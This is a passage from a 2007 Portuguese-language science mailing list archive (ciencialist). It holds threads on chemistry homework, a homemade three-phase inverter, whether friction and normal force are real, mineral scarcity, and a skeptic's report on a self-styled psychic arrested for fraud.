desenvolvimentos. Ele expressou o desejo de saber a opiniões de vocês a
respeito de suas polêmicas idéias. Apesar de nossas idéias discordantes em
muitos aspectos, mantemos um diálogo cordial e respeitoso, como deve ser em
qualquer situação. Certamente, os amigo A.Mesquita, Léo, JC e o sumido
Hélio, entre outros pensadores da lista haverão de obsequiá-lo com suas
idéias a respeito. Claro, dentro das disponibilidades de tempo que lhes
cabem.
http://crotti.com.ar/Relatividad/index.html

Ficarei no aguardo.

Sds,
Victor.






SUBJECT: mais dúvidas de química
FROM: Phoenix Myth <phoenixclever@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 17:43

Pessoal, eu novamente... não aguento mais estudar
química... o meu sofrimento está acabando, pelo menos
por enquanto!
Será que alguém me ajuda a resolver...

1) Um litro de suspensão aquosa contém 0,01 mol de
AgBr (Ks=10^-13). É possível dissolver esse sal em
suspensão por adição de 100 mL de NH4OH 5 mol/L?
Justifique. Dado: Kf do [Ag(NH3)2]+ = 10^7

2) Calcule o pH da soluação formada pela mistura de 50
mL de HA 0,1 mol/L com exatamente:
a) 0,1 g de NaOH
b) 0,2 g de NaOH

3) Qual o pH de cada ponto estequiométrico da
titulação de 0,2 mol/L de H2SO4 com 0,2 mol/Lde NaOH?





____________________________________________________________________________________
Novo Yahoo! Cadê? - Experimente uma nova busca.
http://yahoo.com.br/oqueeuganhocomisso


SUBJECT: Inversor Trifásico Mínimo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 18:18

Olá a todos, disponibilizei na área de arquivos do grupo as versões
1.3 e 1.4 do ITM (Inversor Trifásico Mínimo).
Ficaram mais simples, entretanto nestas versões a variação passou dos
60 para 120 graus. Na versão 1.4 retirei todos os diodos de lógica
(função OU).
Ainda não encontrei uma forma de implementar o conceito de PWM no ITM.
Encontrei uma forma de testar em baixa potência: estou utilizando um
motor de "vídeo-k7".
A pesquisa continua.

Abraços
Tipoalgo



SUBJECT: Re: Força de atrito e força normal não existem!
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 18:22

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Léo: É justamente o contrário! A força total ou resultante é a
> efetiva e os componentes (um artifício matemático utilíssimo e
> indispensável em alguns casos) são postos para simplificar os
> problemas. (hic!)

Tto a força normal como a de atrito são de origem eletrostática. Uma é
repulsiva e a outra é atrativa.

[]s,

Roberto Takata




SUBJECT: Re: Genismo (Junho/2007)
FROM: "GiL" <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 19:34

Jocax:

Faltou uma analise dos motivos reais por trás de boa parte das
mudanças que vc citou: Segunda guerra, primeira guerra, convulsões
sociais, crises políticas, estruturais, novos modelos de produção,
energia...

Senão o artigo acaba sugerindo uma gigantesca conspiração, mesmo que
ao final o texto diga o contrário.

Uma boa análise leva em conta o contexto em que ela acontece.

Gil

--- Em ciencialist@yahoogrupos.com.br, Jocax <jocax@...> escreveu
>
> Caros,
> Está on-line os novos textos do web-site do GENISMO
> Os Guardiões da Pirâmide - Neste texto Jocax faz uma dura crítica ao
> capitalismo e mostra como essa ideologia afeta todos os ramos de
nossas
> vidas.(Outubro/2006).
> http://www.genismo.com/genismotexto44.htm




SUBJECT: Re: Mais uma para o Léo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 22:57

É, não tinha visto ainda o canhão do seu site. Mas valeu a intenção. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá JC,
>
> já deu uma olhada no meu 'canhão' magnético?
> http://www.feiradeciencias.com.br/sala13/13_37.asp
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "José Carlos Antonio" <profjc2003@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: domingo, 24 de junho de 2007 23:29
> Assunto: [ciencialist] Re: Mais uma para o Léo
>
>
> Faltou o link: http://www.youtube.com/watch?v=KED8oEx0Nlc
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> <profjc2003@> escreveu
> >
> > Léo, veja se isso serve para alguma seção do Imperdível.
> >
> > Isso não é um "moto-perpétuo", mas será legal mostrar para os
> > aluninhos e perguntar como é possível que as bolinhas paradas tenham
> > ganho movimento "do nada".
> >
> > É claro que é bom explicar depois de onde vem essa energia. :)
> >
> > Abraços,
> > JC
> >
>
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>
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> Version: 7.5.472 / Virus Database: 269.9.6/862 - Release Date:
22/06/2007 15:04
>




SUBJECT: Re: Mais uma para o Léo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 22:58

Fico devendo Léo, meu inglês se resume a "The book is on the table".

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Aprobo JC, pode me dar uma tradução 'geral' do que o professor do
filme está falando? Meu ingrêis falado é menos eficiente que um
moto-contínuo!
> []
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "José Carlos Antonio" <profjc2003@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: domingo, 24 de junho de 2007 23:29
> Assunto: [ciencialist] Re: Mais uma para o Léo
>
>
> Faltou o link: http://www.youtube.com/watch?v=KED8oEx0Nlc
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
> <profjc2003@> escreveu
> >
> > Léo, veja se isso serve para alguma seção do Imperdível.
> >
> > Isso não é um "moto-perpétuo", mas será legal mostrar para os
> > aluninhos e perguntar como é possível que as bolinhas paradas tenham
> > ganho movimento "do nada".
> >
> > É claro que é bom explicar depois de onde vem essa energia. :)
> >
> > Abraços,
> > JC
> >
>
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> Página de apoio
> http://www.ciencialist.com
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SUBJECT: Re: Pedido de desculpas
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 23:00

Eu não aceito as desculpas. :)

Expulsão djá!

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Amauri Voltaire "
<amaurij@...> escreveu
>
> Quero aqui manifestar meu pedido de desculpas, eu exagerei nas minhas
> afirmações...
>
> Obrigado
>
> Amauri
>
> --
>
> Meu blog:
> http://masterofdarkness.multiply.com/journal
>
> É só se cadastrar nos link abaixo:
>
> http://www.publipt.com/pages/index.php?refid=avoltaire
>
>
>
>
>
>
> "Se vc não tem atitude, mantenha pelo menos a palavra!"
>
> ("Quem quer que haja construído um novo céu, só no seu próprio inferno
> encontrou energia para fazê-lo!" Nietszche)
>
> "Não importa o que fizeram a você.
> O que importa é o que você faz com
> aquilo que fizeram para você".
>
> Jean-Paul Sartre (1905-1980)
> Filósofo francês
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: Mapa e território
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 23:01

Acho que você deveria ser expulso da lista também. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> São opiniões em contraponto como essas abaixo que demonstram a
importância
> do diálogo limpo...
> []s
> JR
> ..........................
>
> From: "Jefferson" <jeff@To: <ciencialist@yahoogrupos.com.br>
> Sent: Saturday, June 23, 2007 6:30 PM
> Subject: Re: [ciencialist] Re: Mapa e território
>
>
> > Fala Ferrari,
> >
> >>
> >>A ciencia não tem nada a ver com
> >> pressupostos nem com enganos. Isto é pro cientista. A
> >> ciencia (em si) nunca erra, nunca se engana. Quem se
> >> engana é o cientista. Não existe enganos na natureza,
> >> graças ao território. Só existe engano na observação,
> >> no mapa, na cabeça do cientista. Eis ai um pressuposto
> >> fundamental, mas que grande partes dos fisicos
> >> insistem em ignorar.
> >>
> >
> > A ciência é que é mapa, e a natureza o território. A natureza é o
que é,
> > independente do que acreditamos ou desejamos que seja. Os
cientistas vão
> > tentando criar mapas da natureza (ciências) começando a
rabiscá-los com
> > observações, criando hipóteses (refutáveis) para tentar ligar alguns
> > pontos,
> > fazendo experimentos para verificar se o mapa está ficando bom
(pra não
> > dizer "correto") e depois, se as hipóteses passaram nos testes, podem
> > tentar
> > deduzir o resto do mapa (o que pode, ainda ser verificado
novamente)... É
> > tudo o que podemos fazer pra tentar entender a natureza... Que não
foi
> > feita
> > para nós e, inclusive, existiu e continuará existindo sem nós.
> >
> > []´,s
> > Jeff.
> >
> >
> >
> >
> >
> >
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> >
> > Página de apoio
> > http://www.ciencialist.com
> >
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> > Links do Yahoo! Grupos
> >
> >
> >
> > E-mail classificado pelo Identificador de Spam Inteligente Terra.
> > Para alterar a categoria classificada, visite
> >
http://mail.terra.com.br/cgi-bin/imail.cgi?+_u=jrma&_l=1,1182634224.184864.4502.fomboni.hst.terra.com.br,4784,Des15,Des15
> >
> > Esta mensagem foi verificada pelo E-mail Protegido Terra.
> > Scan engine: McAfee VirusScan / Atualizado em 22/06/2007 / Versão:
> > 5.1.00/5059
> > Proteja o seu e-mail Terra: http://mail.terra.com.br/
> >
> >
> >
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25/6/2007
> > 12:20
> >
> >
>




SUBJECT: Re: Força de atrito e força normal não existem!
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 23:08

Oi Léo,

Eu também sempre prefiro falar em "Força de Contato", entendida como a
soma de todas as forças aplicadas ao corpo pela superfície. Normal e
atrito de escorregamento são tratadas como componentes dessa força de
contato.

A rigor, as únicas forças reais são as repulsões elétricas entre os
átomos do corpo e da superfície sobre a qual ele se move. A força de
contato é a resultante dessas forças. E, uma vez dada uma força
resultante podemos decompô-la em quantas outras quisermos, conforme a
conveniência de cada caso.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá pessoal
> (em particular, JC, como professor e produtor de textos de física),
>
> Em vários locais do Imperdível saliento a inexistência das forças de
atrito e força normal e as trato como meras decomposições ortogonais
da força total de apoio, em casos vantajosos.
>
> Na nota final, por exemplo, do trabalho "O 'truque' do carretel",
último item da Sala 05, destaco:
> +++++
> Nota 2: A 'força de atrito' e a 'força normal' não são forças reais;
a superfície de apoio não aplica, separadamente, duas forças no corpo,
aplica uma única que é a força total de apoio. Todavia, em algumas
situações, é cômodo decompor a força total de apoio em dois
componentes ortogonais e dai resultam as denominadas, força de atrito
e força normal. Recomendamos uma leitura no Equilíbrio da Escada para
assentar esse conceito. Repare que, quando se negligencia o atrito,
permanece sempre a força total de apoio, que é 'normal' (perpendicular
ao vínculo). Em outras situações essa decomposição ortogonal não é
vantajosa. Além disso, vale a pena tomar os devidos cuidados, frente a
um 'vestibular', quando a questão põe em destaque: "representar as
forças que efetivamente agem no corpo".
> +++++
> Tenho recebido algumas imposições de 'professores de cursinhos', que
insistem que tais forças são reais e não, como cito, "resultado de
mera decomposição 'ortogonal', por vezes vantajosa, devido à lei
empírica de Coulomb-Morin para o atrito seco (mü.N)".
> Em resposta, costumo dar o contra exemplo da escada encostada na
parede e apoiada em piso áspero e pergunto como é o diagrama das
forças --- e como variam para mostrar, em aula, o 'diagrama do corpo
livre' usando cordéis (experimento conhecido).
>
> Que argumentam, em favor ou contra ?
>
> aquele abraço,
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>




SUBJECT: RE: [ciencialist] Inversor Trifásico Mínimo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 23:19

Vai que é sua, Tipoalgo...
Não custa lembrar:
PWM, power widt modulation, ou algo do tipo, usa pacotes estreitos
escalonados, subindo e descendo, imitando de leve uma meia onda 120º -
trifásico.
Boa sorte. abr/M.


>From: "Tipoalgo" <tipoalgo@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Inversor Trifásico Mínimo
>Date: Tue, 26 Jun 2007 21:18:53 -0000
>
>Olá a todos, disponibilizei na área de arquivos do grupo as versões
>1.3 e 1.4 do ITM (Inversor Trifásico Mínimo).
>Ficaram mais simples, entretanto nestas versões a variação passou dos
>60 para 120 graus. Na versão 1.4 retirei todos os diodos de lógica
>(função OU).
>Ainda não encontrei uma forma de implementar o conceito de PWM no ITM.
>Encontrei uma forma de testar em baixa potência: estou utilizando um
>motor de "vídeo-k7".
>A pesquisa continua.
>
>Abraços
>Tipoalgo
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] Inversor Trifásico Mínimo
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/06/2007 23:26

Desculpe a ignorância, mas para que serve esse inversor?

sds

Em 26/06/07, Tipoalgo <tipoalgo@gmail.com> escreveu:
>
> Olá a todos, disponibilizei na área de arquivos do grupo as versões
> 1.3 e 1.4 do ITM (Inversor Trifásico Mínimo).
> Ficaram mais simples, entretanto nestas versões a variação passou dos
> 60 para 120 graus. Na versão 1.4 retirei todos os diodos de lógica
> (função OU).
> Ainda não encontrei uma forma de implementar o conceito de PWM no ITM.
> Encontrei uma forma de testar em baixa potência: estou utilizando um
> motor de "vídeo-k7".
> A pesquisa continua.
>
> Abraços
> Tipoalgo
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Extinção mineral
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/06/2007 00:52

O uso cada vez mais intensivo de tecnologia eletrônica tem demandado
um uso maior de certos elementos químicos menos abundantes. E isso
pode acabar com o estoque natural:

http://www.eetimes.com/news/semi/showArticle.jhtml?articleID=199703375

A perspectiva não é nova para o caso do petróleo, mas para ela há
opções de substituição - as tais fontes alternativas de energia,
bioplásticos e outros.

No caso dos elementos químicos a situação é mais complicada. Cada
elemento químico possui propriedades específicas e em muitos casos
dificilmente podem ser substituídos por outros, além disso, a opção de
elementos é limitado - um pouco mais de uma centena na tabela periódica.

A curto prazo exigirá:
- intensificação do uso de aparelhos multiusos (convergência digital);
- aumento da produção das jazidas atuais;

A médio prazo isso exigirá:
- prospecção de novas jazidas;
- exploração mais eficiente dos minérios na extração dos elementos;
- desenvolvimento de tecnologia mais eficiente no uso desses elementos
(q necessitem de uma menor quantidade);
- reciclagem de componentes eletrônicos.

A longo prazo talvez:
- usinas de fusão nuclear pesada;
- mineração da Lua e de rochas submarinas e vulcões;
- captura de asteróides e mineração em outros planetas;

Valerá a pena investir em ações de mineradoras detentoras de direito
de exploração de minas de nióbio?

[]s,

Roberto Takata



SUBJECT: duvida
FROM: Eduardo Goncalves <quim_ques@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br, quimica-qaw@yahoogrupos.com.br
DATE: 27/06/2007 06:17

Pessoal, alguem pode me ajudar chegar nessa resposta?

Questão
Durante o processo de ustulação, alguns gases são liberados. A tabela a seguir contém a análise química desses gases:

Gases liberados pelo processo de ustulação
% em massa
SO2
18,29
O2
8,23
N2 + outros gases do ar
73,48

Sabendo que a reação de ustulação da calcopirita é:

4CuFeS2(s) + 9O2(g) ®2Cu2S(s) + 2Fe2O3(s) + 6SO2(g)

e considerando que toda a calcopirita reagiu nesse processo, é correto afirmar que a porcentagem de ar utilizada em excesso foi:

a) 20%
b) 30%
c) 40%
d) 50%
e) 60%

Dados: Considerar o ar com 23% de O2 (em massa).
Massas molares (g/mol) : CuFeS2 = 183,5 SO2 = 64,0 O2 = 32,00

Gabarito E



---------------------------------
Novo Yahoo! Cadê? - Experimente uma nova busca.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Extinção mineral
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/06/2007 09:58

Resumindo: no longo prazo tudo será mais caro!

[ ]s

Alvaro Augusto


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 27, 2007 12:52 AM
Subject: [ciencialist] Extinção mineral


O uso cada vez mais intensivo de tecnologia eletrônica tem demandado
um uso maior de certos elementos químicos menos abundantes. E isso
pode acabar com o estoque natural:

http://www.eetimes.com/news/semi/showArticle.jhtml?articleID=199703375

A perspectiva não é nova para o caso do petróleo, mas para ela há
opções de substituição - as tais fontes alternativas de energia,
bioplásticos e outros.

No caso dos elementos químicos a situação é mais complicada. Cada
elemento químico possui propriedades específicas e em muitos casos
dificilmente podem ser substituídos por outros, além disso, a opção de
elementos é limitado - um pouco mais de uma centena na tabela periódica.

A curto prazo exigirá:
- intensificação do uso de aparelhos multiusos (convergência digital);
- aumento da produção das jazidas atuais;

A médio prazo isso exigirá:
- prospecção de novas jazidas;
- exploração mais eficiente dos minérios na extração dos elementos;
- desenvolvimento de tecnologia mais eficiente no uso desses elementos
(q necessitem de uma menor quantidade);
- reciclagem de componentes eletrônicos.

A longo prazo talvez:
- usinas de fusão nuclear pesada;
- mineração da Lua e de rochas submarinas e vulcões;
- captura de asteróides e mineração em outros planetas;

Valerá a pena investir em ações de mineradoras detentoras de direito
de exploração de minas de nióbio?

[]s,

Roberto Takata



SUBJECT: Re: Inversor Trifásico Mínimo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/06/2007 14:34

Olá Amauri e a todos!

[Amauri] Desculpe a ignorância, mas para que serve esse inversor?

[Tipoalgo] Boa pergunta! Vou arriscar uma resposta (resposta de leigo,
é claro).
No caso em questão, um inversor (ou conversor) server para transformar
Corrente Contínua em Corrente Alternada ou Corrente Alternada em
Corrente Contínua ou Corrente Alternada em Corrente Alternada com
amplitude, freqüência e/ou fase distintas, ou ainda Corrente Contínua
em Corrente Contínua com outros parâmetros.
Por exemplo: você tem uma bateria de carro e deseja colocar em
funcionamento uma geladeira. A geladeira precisa de 110 ou 220 Volts em
corrente alternada. Você irá precisar de um aparelho que faça os 12
volts da sua bateria elevar-se a 110 ou 220 volts e simultaneamente
passar de corrente contínua para corrente alternada. Este aparelho será
o tal inversor (ou conversor).

O ITM (Inversor Trifásico Mínimo) é só uma idéia de como simplificar o
circuito responsável por conversões semelhantes. Hoje em dia a
eletrônica utilizada nesses inversores é muito especializada e possui
excelente desempenho e muitas possibilidades, entretanto o preço e a
dificuldade de manutenção são proporcionais à tecnologia utilizada
(maior tecnologia, mais caro e mais difícil de manutenir).

Por enquanto é isso, espero ter dito algo de útil. Os mestres podem
explicar melhor!

Abraços
Tipoalgo




SUBJECT: Re: [ciencialist] Re: Inversor Trifásico Mínimo
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/06/2007 15:37

Tipoalgo] Boa pergunta! Vou arriscar uma resposta (resposta de leigo,
é claro).
No caso em questão, um inversor (ou conversor) server para transformar
Corrente Contínua em Corrente Alternada ou Corrente Alternada em
Corrente Contínua ou Corrente Alternada em Corrente Alternada com
amplitude, freqüência e/ou fase distintas, ou ainda Corrente Contínua
em Corrente Contínua com outros parâmetros.
Por exemplo: você tem uma bateria de carro e deseja colocar em
funcionamento uma geladeira. A geladeira precisa de 110 ou 220 Volts em
corrente alternada. Você irá precisar de um aparelho que faça os 12
volts da sua bateria elevar-se a 110 ou 220 volts e simultaneamente
passar de corrente contínua para corrente alternada. Este aparelho será
o tal inversor (ou conversor).

[Amauri] Entendi e achei ótimo essa iniciativa. seria muito util utilizar
essa idéia para baterias de cadeiras motorizadas que são muito caras e após
um ano tem que ser renovadas. Veja você que logo minha namorada tem que
trocar a dela e ainda tem que terminar de pagar o motores (um de cada lado).
Deveria ter uma maneira de baratear o custo...obrigado pela informação.

sds


Em 27/06/07, Tipoalgo <tipoalgo@gmail.com> escreveu:
>
> Olá Amauri e a todos!
>
> [Amauri] Desculpe a ignorância, mas para que serve esse inversor?
>
> [Tipoalgo] Boa pergunta! Vou arriscar uma resposta (resposta de leigo,
> é claro).
> No caso em questão, um inversor (ou conversor) server para transformar
> Corrente Contínua em Corrente Alternada ou Corrente Alternada em
> Corrente Contínua ou Corrente Alternada em Corrente Alternada com
> amplitude, freqüência e/ou fase distintas, ou ainda Corrente Contínua
> em Corrente Contínua com outros parâmetros.
> Por exemplo: você tem uma bateria de carro e deseja colocar em
> funcionamento uma geladeira. A geladeira precisa de 110 ou 220 Volts em
> corrente alternada. Você irá precisar de um aparelho que faça os 12
> volts da sua bateria elevar-se a 110 ou 220 volts e simultaneamente
> passar de corrente contínua para corrente alternada. Este aparelho será
> o tal inversor (ou conversor).
>
> O ITM (Inversor Trifásico Mínimo) é só uma idéia de como simplificar o
> circuito responsável por conversões semelhantes. Hoje em dia a
> eletrônica utilizada nesses inversores é muito especializada e possui
> excelente desempenho e muitas possibilidades, entretanto o preço e a
> dificuldade de manutenção são proporcionais à tecnologia utilizada
> (maior tecnologia, mais caro e mais difícil de manutenir).
>
> Por enquanto é isso, espero ter dito algo de útil. Os mestres podem
> explicar melhor!
>
> Abraços
> Tipoalgo
>
>
>



--

Meu blog:
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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: “Vidente” Landi Sobral é preso por estelionato
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 27/06/2007 16:12

"Vidente" Landi Sobral é preso por
estelionato<http://www.ceticismoaberto.com/news/?p=914>

<http://www.jornaltribuna.com.br/policial.php?id_materia=26019>
Policiais prenderam na manhã desta segunda-feira, 25, *Jurandir Landi Sobral
*, conhecido internacionalmente como o *Guru das Américas*. Jurandir teve
sua prisão preventiva decretada pela Comarca de Ponta Grossa, acusado de
cometer *pelo menos dois estelionatos *naquela cidade. Além do homem que se
intitula de vidente, foram presos o filho de Jurandir, Marcelo Luiz de
Vargas Sobral, juntamente com sua nora, Carla Cristina Pereira de Souza, e
Alexandre Souza. Todos são acusados de formação de quadrilha. *A polícia
acredita que os golpes aplicados somente neste ano ultrapassem R$ 1 milhão*.
Uma mulher de 60 anos, moradora de Balneário, contou que vendeu um
apartamento, no valor de R$ 147 mil, e que entregou todo o dinheiro para o
guru, ele teria dito a ela que triplicaria a quantia. A outra vítima foi um
morador de Florianópolis. O homem relatou que entregou certa quantia em ouro
para o vidente, este teria dito que era alquimista, e que tinha o dom de
transformar materiais em ouro. Outra queixa é da empresária Gina Cecília
Fabiano, que entregou R$ 400 mil em troca da promessa de que acertaria os
números da Mega-Sena e ganharia R$ 8 milhões.
Somente Alexandre foi detido em uma residência de alto padrão localizada no
bairro da Barra, os demais foram presos em um luxuoso duplex situado na Rua
904, centro de Balneário. [Fonte: Tribuna
Catarinense<http://www.jornaltribuna.com.br/policial.php?id_materia=26019>.
Foto impagável (e *imprevisível?*):
G1<http://www.google.com/news/url?sa=t&ct=pt-BR_br/7-0&fp=468257bcc53ae798&ei=F7KCRqGsDIr0rQPdkcXJBw&url=http%3A//g1.globo.com/Noticias/Brasil/0%2C%2CMUL58518-5598-881%2C00.html&cid=1103914751>
]

A notícia é a oportunidade de listar aqui as previsões eleitorais
fracassadas do "guru" Landi feitas em 16 de julho de 2003 no decadente
programa "Boa Noite Brasil":

- Luis Inácio Lula da Silva
Em agosto de 2003 começará um levante, que durará até o final de setembro.
Sua popularidade cairá abaixo de 30 pontos. [*Bééééé*]
- José de Alencar
Em 24 de agosto de 2003 "começa a confusão", onde o vice será contra
"decisões esdrúxulas" do PT. Irá "quebrar pratos" com Lula em abril de 2004.
[*Bóóóó*]
- Paulo Maluf
Será prefeito de São Paulo outra vez em 2004. Sobre Maluf, Landi Sobral
afirma que é "o pai dos pobres de São Paulo" e é um "homem nobre". [*Bíííí*]
- Antônio Carlos Magalhães
Este deverá ser seu último mandato. Não será afastado, terá problemas de
saúde. [*Béééé*]
- José Sarney
Irá "chorar muito" em abril de 2004 com uma perda. Este é seu último cargo
político. [*Bóóóó*]
A pérola:
*- Edir Macedo será eleito presidente do Brasil em 2006, com Geraldo Alckmin
como vice. [Tcharam!] *

[via Ricardo Kossatz na lista
CA<http://br.groups.yahoo.com/group/ceticismoaberto/>,
e QL <http://queridoleitor.zip.net/>]

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Personalidades <http://www.ceticismoaberto.com/news/?cat=5>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>,
Recomendamos <http://www.ceticismoaberto.com/news/?cat=16> | Por Mori Comente!
» <http://www.ceticismoaberto.com/news/?p=914#respond>

*Posts relacionados:*
- "Bebê vidente e com três olhos, arruina show da banda
Calypso"<http://www.ceticismoaberto.com/news/?p=764>Três
olhos, dentes, cabeluda e com capacidad...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=511>Lembrete: STR na TV hoje
Sujeito à imprevisível...
- Radar Ockham 13 e 14 <http://www.ceticismoaberto.com/news/?p=51>Radar
Ockham 14 • 23 Out 05 Design Inteligente e...
- Niels Cristiansen, espião
nazista<http://www.ceticismoaberto.com/news/?p=48>"A
EXISTENCIA DOS DISCOS VOADORES É INCONTESTAVEL...
- Revista iberoamericana para la ciencia y la
razón<http://www.ceticismoaberto.com/news/?p=695>Volumen
3, Número 1 Enero / Marzo 2006 EDIT...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Re: Inversor Trifásico Mínimo
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/06/2007 17:05

Nos dias de hoje, a aplicação clássica é em controles de velocidade
p/motores AC.
Vc recebe o AC da rede, tri ou bi, retifica p/DC e faz a inversão, tri, em
frequência variável.
Se vc já dispõe de DC, use uma conexão própria p/isso.
Com a frequência ( de quase zero a 400Hz, ou + ), o motor síncrono girará
''variadamente''.
P/uma boa parte das aplicações o preço é considerado barato, pq pode também
dispensar o redutor mecânico, que é caro.
abr/M.


>From: "Tipoalgo" <tipoalgo@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Inversor Trifásico Mínimo
>Date: Wed, 27 Jun 2007 17:34:49 -0000
>
>Olá Amauri e a todos!
>
>[Amauri] Desculpe a ignorância, mas para que serve esse inversor?
>
>[Tipoalgo] Boa pergunta! Vou arriscar uma resposta (resposta de leigo,
>é claro).
>No caso em questão, um inversor (ou conversor) server para transformar
>Corrente Contínua em Corrente Alternada ou Corrente Alternada em
>Corrente Contínua ou Corrente Alternada em Corrente Alternada com
>amplitude, freqüência e/ou fase distintas, ou ainda Corrente Contínua
>em Corrente Contínua com outros parâmetros.
>Por exemplo: você tem uma bateria de carro e deseja colocar em
>funcionamento uma geladeira. A geladeira precisa de 110 ou 220 Volts em
>corrente alternada. Você irá precisar de um aparelho que faça os 12
>volts da sua bateria elevar-se a 110 ou 220 volts e simultaneamente
>passar de corrente contínua para corrente alternada. Este aparelho será
>o tal inversor (ou conversor).
>
>O ITM (Inversor Trifásico Mínimo) é só uma idéia de como simplificar o
>circuito responsável por conversões semelhantes. Hoje em dia a
>eletrônica utilizada nesses inversores é muito especializada e possui
>excelente desempenho e muitas possibilidades, entretanto o preço e a
>dificuldade de manutenção são proporcionais à tecnologia utilizada
>(maior tecnologia, mais caro e mais difícil de manutenir).
>
>Por enquanto é isso, espero ter dito algo de útil. Os mestres podem
>explicar melhor!
>
>Abraços
>Tipoalgo
>
>
>
>
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>
>Página de apoio
>http://www.ciencialist.com
>
>
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>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] Extinção mineral
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/06/2007 17:09

O Álvaro está correto.
Mas antes da extinção, os bitolados brucutús da mineração ''moderna'' irão
''repassar'' todo o rejeito gerado ( desperdício ) das suas ''recuperações''
atuais.
abr/M.


>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
